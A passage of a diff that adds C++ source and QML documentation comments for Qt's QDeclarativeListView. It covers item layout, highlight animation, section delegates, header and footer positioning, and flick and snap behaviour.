+ Q_Q(QDeclarativeListView);
+ layoutScheduled = false;
+ if (!isValid() && !visibleItems.count()) {
+ clear();
+ setPosition(0);
+ return;
+ }
+ if (!visibleItems.isEmpty()) {
+ bool fixedCurrent = currentItem && visibleItems.first()->item == currentItem->item;
+ qreal sum = visibleItems.first()->size();
+ qreal pos = visibleItems.first()->position() + visibleItems.first()->size() + spacing;
+ for (int i=1; i < visibleItems.count(); ++i) {
+ FxListItem *item = visibleItems.at(i);
+ item->setPosition(pos);
+ pos += item->size() + spacing;
+ sum += item->size();
+ fixedCurrent = fixedCurrent || (currentItem && item->item == currentItem->item);
+ }
+ averageSize = qRound(sum / visibleItems.count());
+ // move current item if it is not a visible item.
+ if (currentIndex >= 0 && currentItem && !fixedCurrent)
+ currentItem->setPosition(positionAt(currentIndex));
+ }
+ q->refill();
+ minExtentDirty = true;
+ maxExtentDirty = true;
+ updateHighlight();
+ if (!q->isMoving() && !q->isFlicking()) {
+ fixupPosition();
+ q->refill();
+ }
+ if (header)
+ updateHeader();
+ if (footer)
+ updateFooter();
+ updateViewport();
+}
+
+void QDeclarativeListViewPrivate::updateUnrequestedIndexes()
+{
+ Q_Q(QDeclarativeListView);
+ QHash<QDeclarativeItem*,int>::iterator it;
+ for (it = unrequestedItems.begin(); it != unrequestedItems.end(); ++it)
+ *it = model->indexOf(it.key(), q);
+}
+
+void QDeclarativeListViewPrivate::updateUnrequestedPositions()
+{
+ Q_Q(QDeclarativeListView);
+ if (unrequestedItems.count()) {
+ qreal pos = position();
+ QHash<QDeclarativeItem*,int>::const_iterator it;
+ for (it = unrequestedItems.begin(); it != unrequestedItems.end(); ++it) {
+ QDeclarativeItem *item = it.key();
+ if (orient == QDeclarativeListView::Vertical) {
+ if (item->y() + item->height() > pos && item->y() < pos + q->height())
+ item->setY(positionAt(*it));
+ } else {
+ if (item->x() + item->width() > pos && item->x() < pos + q->width()) {
+ if (isRightToLeft())
+ item->setX(-positionAt(*it)-item->width());
+ else
+ item->setX(positionAt(*it));
+ }
+ }
+ }
+ }
+}
+
+void QDeclarativeListViewPrivate::updateTrackedItem()
+{
+ Q_Q(QDeclarativeListView);
+ FxListItem *item = currentItem;
+ if (highlight)
+ item = highlight;
+ trackedItem = item;
+ if (trackedItem)
+ q->trackedPositionChanged();
+}
+
+void QDeclarativeListViewPrivate::createHighlight()
+{
+ Q_Q(QDeclarativeListView);
+ bool changed = false;
+ if (highlight) {
+ if (trackedItem == highlight)
+ trackedItem = 0;
+ if (highlight->item->scene())
+ highlight->item->scene()->removeItem(highlight->item);
+ highlight->item->deleteLater();
+ delete highlight;
+ highlight = 0;
+ delete highlightPosAnimator;
+ delete highlightSizeAnimator;
+ highlightPosAnimator = 0;
+ highlightSizeAnimator = 0;
+ changed = true;
+ }
+
+ if (currentItem) {
+ QDeclarativeItem *item = 0;
+ if (highlightComponent) {
+ QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q));
+ QObject *nobj = highlightComponent->create(highlightContext);
+ if (nobj) {
+ QDeclarative_setParent_noEvent(highlightContext, nobj);
+ item = qobject_cast<QDeclarativeItem *>(nobj);
+ if (!item)
+ delete nobj;
+ } else {
+ delete highlightContext;
+ }
+ } else {
+ item = new QDeclarativeItem;
+ }
+ if (item) {
+ QDeclarative_setParent_noEvent(item, q->contentItem());
+ item->setParentItem(q->contentItem());
+ highlight = new FxListItem(item, q);
+ if (currentItem && autoHighlight) {
+ if (orient == QDeclarativeListView::Vertical) {
+ highlight->item->setHeight(currentItem->item->height());
+ } else {
+ highlight->item->setWidth(currentItem->item->width());
+ }
+ highlight->setPosition(currentItem->itemPosition());
+ }
+ QDeclarativeItemPrivate *itemPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(item));
+ itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ const QLatin1String posProp(orient == QDeclarativeListView::Vertical ? "y" : "x");
+ highlightPosAnimator = new QSmoothedAnimation(q);
+ highlightPosAnimator->target = QDeclarativeProperty(highlight->item, posProp);
+ highlightPosAnimator->velocity = highlightMoveSpeed;
+ highlightPosAnimator->userDuration = highlightMoveDuration;
+ const QLatin1String sizeProp(orient == QDeclarativeListView::Vertical ? "height" : "width");
+ highlightSizeAnimator = new QSmoothedAnimation(q);
+ highlightSizeAnimator->velocity = highlightResizeSpeed;
+ highlightSizeAnimator->userDuration = highlightResizeDuration;
+ highlightSizeAnimator->target = QDeclarativeProperty(highlight->item, sizeProp);
+ if (autoHighlight) {
+ highlightPosAnimator->restart();
+ highlightSizeAnimator->restart();
+ }
+ changed = true;
+ }
+ }
+ if (changed)
+ emit q->highlightItemChanged();
+}
+
+void QDeclarativeListViewPrivate::updateHighlight()
+{
+ if ((!currentItem && highlight) || (currentItem && !highlight))
+ createHighlight();
+ if (currentItem && autoHighlight && highlight && !hData.moving && !vData.moving) {
+ // auto-update highlight
+ highlightPosAnimator->to = isRightToLeft()
+ ? -currentItem->itemPosition()-currentItem->itemSize()
+ : currentItem->itemPosition();
+ highlightSizeAnimator->to = currentItem->itemSize();
+ if (orient == QDeclarativeListView::Vertical) {
+ if (highlight->item->width() == 0)
+ highlight->item->setWidth(currentItem->item->width());
+ } else {
+ if (highlight->item->height() == 0)
+ highlight->item->setHeight(currentItem->item->height());
+ }
+ highlightPosAnimator->restart();
+ highlightSizeAnimator->restart();
+ }
+ updateTrackedItem();
+}
+
+void QDeclarativeListViewPrivate::createSection(FxListItem *listItem)
+{
+ Q_Q(QDeclarativeListView);
+ if (!sectionCriteria || !sectionCriteria->delegate())
+ return;
+ if (listItem->attached->m_prevSection != listItem->attached->m_section) {
+ if (!listItem->section) {
+ qreal pos = listItem->position();
+ int i = sectionCacheSize-1;
+ while (i >= 0 && !sectionCache[i])
+ --i;
+ if (i >= 0) {
+ listItem->section = sectionCache[i];
+ sectionCache[i] = 0;
+ listItem->section->setVisible(true);
+ QDeclarativeContext *context = QDeclarativeEngine::contextForObject(listItem->section)->parentContext();
+ context->setContextProperty(QLatin1String("section"), listItem->attached->m_section);
+ } else {
+ QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q));
+ context->setContextProperty(QLatin1String("section"), listItem->attached->m_section);
+ QObject *nobj = sectionCriteria->delegate()->beginCreate(context);
+ if (nobj) {
+ QDeclarative_setParent_noEvent(context, nobj);
+ listItem->section = qobject_cast<QDeclarativeItem *>(nobj);
+ if (!listItem->section) {
+ delete nobj;
+ } else {
+ listItem->section->setZValue(1);
+ QDeclarative_setParent_noEvent(listItem->section, q->contentItem());
+ listItem->section->setParentItem(q->contentItem());
+ }
+ } else {
+ delete context;
+ }
+ sectionCriteria->delegate()->completeCreate();
+ }
+ listItem->setPosition(pos);
+ } else {
+ QDeclarativeContext *context = QDeclarativeEngine::contextForObject(listItem->section)->parentContext();
+ context->setContextProperty(QLatin1String("section"), listItem->attached->m_section);
+ }
+ } else if (listItem->section) {
+ qreal pos = listItem->position();
+ int i = 0;
+ do {
+ if (!sectionCache[i]) {
+ sectionCache[i] = listItem->section;
+ sectionCache[i]->setVisible(false);
+ listItem->section = 0;
+ return;
+ }
+ ++i;
+ } while (i < sectionCacheSize);
+ delete listItem->section;
+ listItem->section = 0;
+ listItem->setPosition(pos);
+ }
+}
+
+void QDeclarativeListViewPrivate::updateSections()
+{
+ if (sectionCriteria && !visibleItems.isEmpty()) {
+ QString prevSection;
+ if (visibleIndex > 0)
+ prevSection = sectionAt(visibleIndex-1);
+ QDeclarativeListViewAttached *prevAtt = 0;
+ int idx = -1;
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ QDeclarativeListViewAttached *attached = visibleItems.at(i)->attached;
+ attached->setPrevSection(prevSection);
+ if (visibleItems.at(i)->index != -1) {
+ QString propValue = model->stringValue(visibleItems.at(i)->index, sectionCriteria->property());
+ attached->setSection(sectionCriteria->sectionString(propValue));
+ idx = visibleItems.at(i)->index;
+ }
+ createSection(visibleItems.at(i));
+ if (prevAtt)
+ prevAtt->setNextSection(attached->section());
+ prevSection = attached->section();
+ prevAtt = attached;
+ }
+ if (prevAtt) {
+ if (idx > 0 && idx < model->count()-1)
+ prevAtt->setNextSection(sectionAt(idx+1));
+ else
+ prevAtt->setNextSection(QString());
+ }
+ }
+}
+
+void QDeclarativeListViewPrivate::updateCurrentSection()
+{
+ Q_Q(QDeclarativeListView);
+ if (!sectionCriteria || visibleItems.isEmpty()) {
+ if (!currentSection.isEmpty()) {
+ currentSection.clear();
+ emit q->currentSectionChanged();
+ }
+ return;
+ }
+ int index = 0;
+ while (index < visibleItems.count() && visibleItems.at(index)->endPosition() < position())
+ ++index;
+
+ QString newSection = currentSection;
+ if (index < visibleItems.count())
+ newSection = visibleItems.at(index)->attached->section();
+ else
+ newSection = visibleItems.first()->attached->section();
+ if (newSection != currentSection) {
+ currentSection = newSection;
+ emit q->currentSectionChanged();
+ }
+}
+
+void QDeclarativeListViewPrivate::updateCurrent(int modelIndex)
+{
+ Q_Q(QDeclarativeListView);
+ if (!q->isComponentComplete() || !isValid() || modelIndex < 0 || modelIndex >= model->count()) {
+ if (currentItem) {
+ currentItem->attached->setIsCurrentItem(false);
+ releaseItem(currentItem);
+ currentItem = 0;
+ currentIndex = modelIndex;
+ emit q->currentIndexChanged();
+ updateHighlight();
+ } else if (currentIndex != modelIndex) {
+ currentIndex = modelIndex;
+ emit q->currentIndexChanged();
+ }
+ return;
+ }
+
+ if (currentItem && currentIndex == modelIndex) {
+ updateHighlight();
+ return;
+ }
+ FxListItem *oldCurrentItem = currentItem;
+ currentIndex = modelIndex;
+ currentItem = createItem(modelIndex);
+ if (oldCurrentItem && (!currentItem || oldCurrentItem->item != currentItem->item))
+ oldCurrentItem->attached->setIsCurrentItem(false);
+ if (currentItem) {
+ if (modelIndex == visibleIndex - 1 && visibleItems.count()) {
+ // We can calculate exact postion in this case
+ currentItem->setPosition(visibleItems.first()->position() - currentItem->size() - spacing);
+ } else {
+ // Create current item now and position as best we can.
+ // Its position will be corrected when it becomes visible.
+ currentItem->setPosition(positionAt(modelIndex));
+ }
+ currentItem->item->setFocus(true);
+ currentItem->attached->setIsCurrentItem(true);
+ // Avoid showing section delegate twice. We still need the section heading so that
+ // currentItem positioning works correctly.
+ // This is slightly sub-optimal, but section heading caching minimizes the impact.
+ if (currentItem->section)
+ currentItem->section->setVisible(false);
+ if (visibleItems.isEmpty())
+ averageSize = currentItem->size();
+ }
+ updateHighlight();
+ emit q->currentIndexChanged();
+ // Release the old current item
+ releaseItem(oldCurrentItem);
+}
+
+void QDeclarativeListViewPrivate::updateAverage()
+{
+ if (!visibleItems.count())
+ return;
+ qreal sum = 0.0;
+ for (int i = 0; i < visibleItems.count(); ++i)
+ sum += visibleItems.at(i)->size();
+ averageSize = qRound(sum / visibleItems.count());
+}
+
+void QDeclarativeListViewPrivate::updateFooter()
+{
+ Q_Q(QDeclarativeListView);
+ if (!footer && footerComponent) {
+ QDeclarativeItem *item = 0;
+ QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q));
+ QObject *nobj = footerComponent->create(context);
+ if (nobj) {
+ QDeclarative_setParent_noEvent(context, nobj);
+ item = qobject_cast<QDeclarativeItem *>(nobj);
+ if (!item)
+ delete nobj;
+ } else {
+ delete context;
+ }
+ if (item) {
+ QDeclarative_setParent_noEvent(item, q->contentItem());
+ item->setParentItem(q->contentItem());
+ item->setZValue(1);
+ QDeclarativeItemPrivate *itemPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(item));
+ itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ footer = new FxListItem(item, q);
+ }
+ }
+ if (footer) {
+ if (visibleItems.count()) {
+ qreal endPos = lastPosition() + 1;
+ if (lastVisibleIndex() == model->count()-1) {
+ footer->setPosition(endPos);
+ } else {
+ qreal visiblePos = position() + q->height();
+ if (endPos <= visiblePos || footer->position() < endPos)
+ footer->setPosition(endPos);
+ }
+ } else {
+ footer->setPosition(visiblePos);
+ }
+ }
+}
+
+void QDeclarativeListViewPrivate::updateHeader()
+{
+ Q_Q(QDeclarativeListView);
+ if (!header && headerComponent) {
+ QDeclarativeItem *item = 0;
+ QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q));
+ QObject *nobj = headerComponent->create(context);
+ if (nobj) {
+ QDeclarative_setParent_noEvent(context, nobj);
+ item = qobject_cast<QDeclarativeItem *>(nobj);
+ if (!item)
+ delete nobj;
+ } else {
+ delete context;
+ }
+ if (item) {
+ QDeclarative_setParent_noEvent(item, q->contentItem());
+ item->setParentItem(q->contentItem());
+ item->setZValue(1);
+ QDeclarativeItemPrivate *itemPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(item));
+ itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ header = new FxListItem(item, q);
+ }
+ }
+ if (header) {
+ if (visibleItems.count()) {
+ qreal startPos = originPosition();
+ if (visibleIndex == 0) {
+ header->setPosition(startPos - header->size());
+ } else {
+ if (position() <= startPos || header->position() > startPos - header->size())
+ header->setPosition(startPos - header->size());
+ }
+ } else {
+ if (itemCount == 0)
+ visiblePos = header->size();
+ header->setPosition(0);
+ }
+ }
+}
+
+void QDeclarativeListViewPrivate::fixupPosition()
+{
+ if ((haveHighlightRange && highlightRange == QDeclarativeListView::StrictlyEnforceRange)
+ || snapMode != QDeclarativeListView::NoSnap)
+ moveReason = Other;
+ if (orient == QDeclarativeListView::Vertical)
+ fixupY();
+ else
+ fixupX();
+}
+
+void QDeclarativeListViewPrivate::fixup(AxisData &data, qreal minExtent, qreal maxExtent)
+{
+ if ((orient == QDeclarativeListView::Horizontal && &data == &vData)
+ || (orient == QDeclarativeListView::Vertical && &data == &hData))
+ return;
+
+ correctFlick = false;
+ fixupMode = moveReason == Mouse ? fixupMode : Immediate;
+ bool strictHighlightRange = haveHighlightRange && highlightRange == QDeclarativeListView::StrictlyEnforceRange;
+
+ qreal highlightStart;
+ qreal highlightEnd;
+ qreal viewPos;
+ if (isRightToLeft()) {
+ // Handle Right-To-Left exceptions
+ viewPos = -position()-size();
+ highlightStart = highlightRangeStartValid ? size() - highlightRangeEnd : highlightRangeStart;
+ highlightEnd = highlightRangeEndValid ? size() - highlightRangeStart : highlightRangeEnd;
+ } else {
+ viewPos = position();
+ highlightStart = highlightRangeStart;
+ highlightEnd = highlightRangeEnd;
+ }
+
+ if (snapMode != QDeclarativeListView::NoSnap && moveReason != QDeclarativeListViewPrivate::SetIndex) {
+ qreal tempPosition = isRightToLeft() ? -position()-size() : position();
+ if (snapMode == QDeclarativeListView::SnapOneItem && moveReason == Mouse) {
+ // if we've been dragged < averageSize/2 then bias towards the next item
+ qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset);
+ qreal bias = 0;
+ if (data.velocity > 0 && dist > QML_FLICK_SNAPONETHRESHOLD && dist < averageSize/2)
+ bias = averageSize/2;
+ else if (data.velocity < 0 && dist < -QML_FLICK_SNAPONETHRESHOLD && dist > -averageSize/2)
+ bias = -averageSize/2;
+ if (isRightToLeft())
+ bias = -bias;
+ tempPosition -= bias;
+ }
+ FxListItem *topItem = snapItemAt(tempPosition+highlightStart);
+ if (!topItem && strictHighlightRange && currentItem) {
+ // StrictlyEnforceRange always keeps an item in range
+ updateHighlight();
+ topItem = currentItem;
+ }
+ FxListItem *bottomItem = snapItemAt(tempPosition+highlightEnd);
+ if (!bottomItem && strictHighlightRange && currentItem) {
+ // StrictlyEnforceRange always keeps an item in range
+ updateHighlight();
+ bottomItem = currentItem;
+ }
+ qreal pos;
+ bool isInBounds = -position() > maxExtent && -position() <= minExtent;
+ if (topItem && (isInBounds || strictHighlightRange)) {
+ if (topItem->index == 0 && header && tempPosition+highlightStart < header->position()+header->size()/2 && !strictHighlightRange) {
+ pos = isRightToLeft() ? - header->position() + highlightStart - size() : header->position() - highlightStart;
+ } else {
+ if (isRightToLeft())
+ pos = qMax(qMin(-topItem->position() + highlightStart - size(), -maxExtent), -minExtent);
+ else
+ pos = qMax(qMin(topItem->position() - highlightStart, -maxExtent), -minExtent);
+ }
+ } else if (bottomItem && isInBounds) {
+ if (isRightToLeft())
+ pos = qMax(qMin(-bottomItem->position() + highlightEnd - size(), -maxExtent), -minExtent);
+ else
+ pos = qMax(qMin(bottomItem->position() - highlightEnd, -maxExtent), -minExtent);
+ } else {
+ QDeclarativeFlickablePrivate::fixup(data, minExtent, maxExtent);
+ return;
+ }
+
+ qreal dist = qAbs(data.move + pos);
+ if (dist > 0) {
+ timeline.reset(data.move);
+ if (fixupMode != Immediate) {
+ timeline.move(data.move, -pos, QEasingCurve(QEasingCurve::InOutQuad), fixupDuration/2);
+ data.fixingUp = true;
+ } else {
+ timeline.set(data.move, -pos);
+ }
+ vTime = timeline.time();
+ }
+ } else if (currentItem && strictHighlightRange
+ && moveReason != QDeclarativeListViewPrivate::SetIndex) {
+ updateHighlight();
+ qreal pos = currentItem->itemPosition();
+ if (viewPos < pos + currentItem->itemSize() - highlightEnd)
+ viewPos = pos + currentItem->itemSize() - highlightEnd;
+ if (viewPos > pos - highlightStart)
+ viewPos = pos - highlightStart;
+ if (isRightToLeft())
+ viewPos = -viewPos-size();
+
+ timeline.reset(data.move);
+ if (viewPos != position()) {
+ if (fixupMode != Immediate) {
+ timeline.move(data.move, -viewPos, QEasingCurve(QEasingCurve::InOutQuad), fixupDuration/2);
+ data.fixingUp = true;
+ } else {
+ timeline.set(data.move, -viewPos);
+ }
+ }
+ vTime = timeline.time();
+ } else {
+ QDeclarativeFlickablePrivate::fixup(data, minExtent, maxExtent);
+ }
+ data.inOvershoot = false;
+ fixupMode = Normal;
+}
+
+void QDeclarativeListViewPrivate::flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize,
+ QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity)
+{
+ Q_Q(QDeclarativeListView);
+
+ data.fixingUp = false;
+ moveReason = Mouse;
+ if ((!haveHighlightRange || highlightRange != QDeclarativeListView::StrictlyEnforceRange) && snapMode == QDeclarativeListView::NoSnap) {
+ correctFlick = true;
+ QDeclarativeFlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity);
+ return;
+ }
+ qreal maxDistance = 0;
+ qreal dataValue = isRightToLeft() ? -data.move.value()+size() : data.move.value();
+ qreal highlightStart = isRightToLeft() && highlightRangeStartValid ? size()-highlightRangeEnd : highlightRangeStart;
+ // -ve velocity means list is moving up/left
+ if (velocity > 0) {
+ if (data.move.value() < minExtent) {
+ if (snapMode == QDeclarativeListView::SnapOneItem && !hData.flicking && !vData.flicking) {
+ // if we've been dragged < averageSize/2 then bias towards the next item
+ qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset);
+ qreal bias = dist < averageSize/2 ? averageSize/2 : 0;
+ if (isRightToLeft())
+ bias = -bias;
+ data.flickTarget = -snapPosAt(-(dataValue - highlightStart) - bias) + highlightStart;
+ maxDistance = qAbs(data.flickTarget - data.move.value());
+ velocity = maxVelocity;
+ } else {
+ maxDistance = qAbs(minExtent - data.move.value());
+ }
+ }
+ if (snapMode == QDeclarativeListView::NoSnap && highlightRange != QDeclarativeListView::StrictlyEnforceRange)
+ data.flickTarget = minExtent;
+ } else {
+ if (data.move.value() > maxExtent) {
+ if (snapMode == QDeclarativeListView::SnapOneItem && !hData.flicking && !vData.flicking) {
+ // if we've been dragged < averageSize/2 then bias towards the next item
+ qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset);
+ qreal bias = -dist < averageSize/2 ? averageSize/2 : 0;
+ if (isRightToLeft())
+ bias = -bias;
+ data.flickTarget = -snapPosAt(-(dataValue - highlightStart) + bias) + highlightStart;
+ maxDistance = qAbs(data.flickTarget - data.move.value());
+ velocity = -maxVelocity;
+ } else {
+ maxDistance = qAbs(maxExtent - data.move.value());
+ }
+ }
+ if (snapMode == QDeclarativeListView::NoSnap && highlightRange != QDeclarativeListView::StrictlyEnforceRange)
+ data.flickTarget = maxExtent;
+ }
+
+ bool overShoot = boundsBehavior == QDeclarativeFlickable::DragAndOvershootBounds;
+
+ if (maxDistance > 0 || overShoot) {
+ // These modes require the list to stop exactly on an item boundary.
+ // The initial flick will estimate the boundary to stop on.
+ // Since list items can have variable sizes, the boundary will be
+ // reevaluated and adjusted as we approach the boundary.
+ qreal v = velocity;
+ if (maxVelocity != -1 && maxVelocity < qAbs(v)) {
+ if (v < 0)
+ v = -maxVelocity;
+ else
+ v = maxVelocity;
+ }
+ if (!hData.flicking && !vData.flicking) {
+ // the initial flick - estimate boundary
+ qreal accel = deceleration;
+ qreal v2 = v * v;
+ overshootDist = qreal(0.0);
+ // + averageSize/4 to encourage moving at least one item in the flick direction
+ qreal dist = v2 / (accel * qreal(2.0)) + averageSize/4;
+ if (maxDistance > 0)
+ dist = qMin(dist, maxDistance);
+ if (v > 0)
+ dist = -dist;
+ if ((maxDistance > qreal(0.0) && v2 / (2.0f * maxDistance) < accel) || snapMode == QDeclarativeListView::SnapOneItem) {
+ if (snapMode != QDeclarativeListView::SnapOneItem) {
+ qreal distTemp = isRightToLeft() ? -dist : dist;
+ data.flickTarget = -snapPosAt(-(dataValue - highlightStart) + distTemp) + highlightStart;
+ }
+ data.flickTarget = isRightToLeft() ? -data.flickTarget+size() : data.flickTarget;
+ if (overShoot) {
+ if (data.flickTarget >= minExtent) {
+ overshootDist = overShootDistance(vSize);
+ data.flickTarget += overshootDist;
+ } else if (data.flickTarget <= maxExtent) {
+ overshootDist = overShootDistance(vSize);
+ data.flickTarget -= overshootDist;
+ }
+ }
+ qreal adjDist = -data.flickTarget + data.move.value();
+ if (qAbs(adjDist) > qAbs(dist)) {
+ // Prevent painfully slow flicking - adjust velocity to suit flickDeceleration
+ qreal adjv2 = accel * 2.0f * qAbs(adjDist);
+ if (adjv2 > v2) {
+ v2 = adjv2;
+ v = qSqrt(v2);
+ if (dist > 0)
+ v = -v;
+ }
+ }
+ dist = adjDist;
+ accel = v2 / (2.0f * qAbs(dist));
+ } else if (overShoot) {
+ data.flickTarget = data.move.value() - dist;
+ if (data.flickTarget >= minExtent) {
+ overshootDist = overShootDistance(vSize);
+ data.flickTarget += overshootDist;
+ } else if (data.flickTarget <= maxExtent) {
+ overshootDist = overShootDistance(vSize);
+ data.flickTarget -= overshootDist;
+ }
+ }
+
+ timeline.reset(data.move);
+ timeline.accel(data.move, v, accel, maxDistance + overshootDist);
+ timeline.callback(QDeclarativeTimeLineCallback(&data.move, fixupCallback, this));
+ if (!hData.flicking && q->xflick()) {
+ hData.flicking = true;
+ emit q->flickingChanged();
+ emit q->flickingHorizontallyChanged();
+ emit q->flickStarted();
+ }
+ if (!vData.flicking && q->yflick()) {
+ vData.flicking = true;
+ emit q->flickingChanged();
+ emit q->flickingVerticallyChanged();
+ emit q->flickStarted();
+ }
+ correctFlick = true;
+ } else {
+ // reevaluate the target boundary.
+ qreal newtarget = data.flickTarget;
+ if (snapMode != QDeclarativeListView::NoSnap || highlightRange == QDeclarativeListView::StrictlyEnforceRange) {
+ qreal tempFlickTarget = isRightToLeft() ? -data.flickTarget+size() : data.flickTarget;
+ newtarget = -snapPosAt(-(tempFlickTarget - highlightStart)) + highlightStart;
+ newtarget = isRightToLeft() ? -newtarget+size() : newtarget;
+ }
+ if (velocity < 0 && newtarget <= maxExtent)
+ newtarget = maxExtent - overshootDist;
+ else if (velocity > 0 && newtarget >= minExtent)
+ newtarget = minExtent + overshootDist;
+ if (newtarget == data.flickTarget) { // boundary unchanged - nothing to do
+ if (qAbs(velocity) < MinimumFlickVelocity)
+ correctFlick = false;
+ return;
+ }
+ data.flickTarget = newtarget;
+ qreal dist = -newtarget + data.move.value();
+ if ((v < 0 && dist < 0) || (v > 0 && dist > 0)) {
+ correctFlick = false;
+ timeline.reset(data.move);
+ fixup(data, minExtent, maxExtent);
+ return;
+ }
+
+ timeline.reset(data.move);
+ timeline.accelDistance(data.move, v, -dist);
+ timeline.callback(QDeclarativeTimeLineCallback(&data.move, fixupCallback, this));
+ }
+ } else {
+ correctFlick = false;
+ timeline.reset(data.move);
+ fixup(data, minExtent, maxExtent);
+ }
+}
+
+//----------------------------------------------------------------------------
+
+/*!
+ \qmlclass ListView QDeclarativeListView
+ \ingroup qml-view-elements
+ \since 4.7
+ \inherits Flickable
+ \brief The ListView item provides a list view of items provided by a model.
+
+ A ListView displays data from models created from built-in QML elements like ListModel
+ and XmlListModel, or custom model classes defined in C++ that inherit from
+ QAbstractListModel.
+
+ A ListView has a \l model, which defines the data to be displayed, and
+ a \l delegate, which defines how the data should be displayed. Items in a
+ ListView are laid out horizontally or vertically. List views are inherently
+ flickable because ListView inherits from \l Flickable.
+
+ \section1 Example Usage
+
+ The following example shows the definition of a simple list model defined
+ in a file called \c ContactModel.qml:
+
+ \snippet doc/src/snippets/declarative/listview/ContactModel.qml 0
+
+ Another component can display this model data in a ListView, like this:
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml import
+ \codeline
+ \snippet doc/src/snippets/declarative/listview/listview.qml classdocs simple
+
+ \image listview-simple.png
+
+ Here, the ListView creates a \c ContactModel component for its model, and a \l Text element
+ for its delegate. The view will create a new \l Text component for each item in the model. Notice
+ the delegate is able to access the model's \c name and \c number data directly.
+
+ An improved list view is shown below. The delegate is visually improved and is moved
+ into a separate \c contactDelegate component.
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml classdocs advanced
+ \image listview-highlight.png
+
+ The currently selected item is highlighted with a blue \l Rectangle using the \l highlight property,
+ and \c focus is set to \c true to enable keyboard navigation for the list view.
+ The list view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
+
+ Delegates are instantiated as needed and may be destroyed at any time.
+ State should \e never be stored in a delegate.
+
+ ListView attaches a number of properties to the root item of the delegate, for example
+ \c {ListView.isCurrentItem}. In the following example, the root delegate item can access
+ this attached property directly as \c ListView.isCurrentItem, while the child
+ \c contactInfo object must refer to this property as \c wrapper.ListView.isCurrentItem.
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml isCurrentItem
+
+ \note Views do not enable \e clip automatically. If the view
+ is not clipped by another item or the screen, it will be necessary
+ to set \e {clip: true} in order to have the out of view items clipped
+ nicely.
+
+ \sa {QML Data Models}, GridView, {Models and Views: ListView Examples}{ListView examples}
+*/
+
+QDeclarativeListView::QDeclarativeListView(QDeclarativeItem *parent)
+ : QDeclarativeFlickable(*(new QDeclarativeListViewPrivate), parent)
+{
+ Q_D(QDeclarativeListView);
+ d->init();
+}
+
+QDeclarativeListView::~QDeclarativeListView()
+{
+ Q_D(QDeclarativeListView);
+ d->clear();
+ if (d->ownModel)
+ delete d->model;
+ delete d->header;
+ delete d->footer;
+}
+
+/*!
+ \qmlattachedproperty bool ListView::isCurrentItem
+ This attached property is true if this delegate is the current item; otherwise false.
+
+ It is attached to each instance of the delegate.
+
+ This property may be used to adjust the appearance of the current item, for example:
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml isCurrentItem
+*/
+
+/*!
+ \qmlattachedproperty ListView ListView::view
+ This attached property holds the view that manages this delegate instance.
+
+ It is attached to each instance of the delegate.
+*/
+
+/*!
+ \qmlattachedproperty string ListView::previousSection
+ This attached property holds the section of the previous element.
+
+ It is attached to each instance of the delegate.
+
+ The section is evaluated using the \l {ListView::section.property}{section} properties.
+*/
+
+/*!
+ \qmlattachedproperty string ListView::nextSection
+ This attached property holds the section of the next element.
+
+ It is attached to each instance of the delegate.
+
+ The section is evaluated using the \l {ListView::section.property}{section} properties.
+*/
+
+/*!
+ \qmlattachedproperty string ListView::section
+ This attached property holds the section of this element.
+
+ It is attached to each instance of the delegate.
+
+ The section is evaluated using the \l {ListView::section.property}{section} properties.
+*/
+
+/*!
+ \qmlattachedproperty bool ListView::delayRemove
+ This attached property holds whether the delegate may be destroyed.
+
+ It is attached to each instance of the delegate.
+
+ It is sometimes necessary to delay the destruction of an item
+ until an animation completes.
+
+ The example delegate below ensures that the animation completes before
+ the item is removed from the list.
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml delayRemove
+*/
+
+/*!
+ \qmlattachedsignal ListView::onAdd()
+ This attached handler is called immediately after an item is added to the view.
+*/
+
+/*!
+ \qmlattachedsignal ListView::onRemove()
+ This attached handler is called immediately before an item is removed from the view.
+*/
+
+/*!
+ \qmlproperty model ListView::model
+ This property holds the model providing data for the list.
+
+ The model provides the set of data that is used to create the items
+ in the view. Models can be created directly in QML using \l ListModel, \l XmlListModel
+ or \l VisualItemModel, or provided by C++ model classes. If a C++ model class is
+ used, it must be a subclass of \l QAbstractItemModel or a simple list.
+
+ \sa {qmlmodels}{Data Models}
+*/
+QVariant QDeclarativeListView::model() const
+{
+ Q_D(const QDeclarativeListView);
+ return d->modelVariant;
+}
+
+void QDeclarativeListView::setModel(const QVariant &model)
+{
+ Q_D(QDeclarativeListView);
+ if (d->modelVariant == model)
+ return;
+ if (d->model) {
+ disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));
+ disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));
+ disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));
+ disconnect(d->model, SIGNAL(itemsChanged(int,int)), this, SLOT(itemsChanged(int,int)));
+ disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));
+ disconnect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));
+ disconnect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*)));
+ }
+ d->clear();
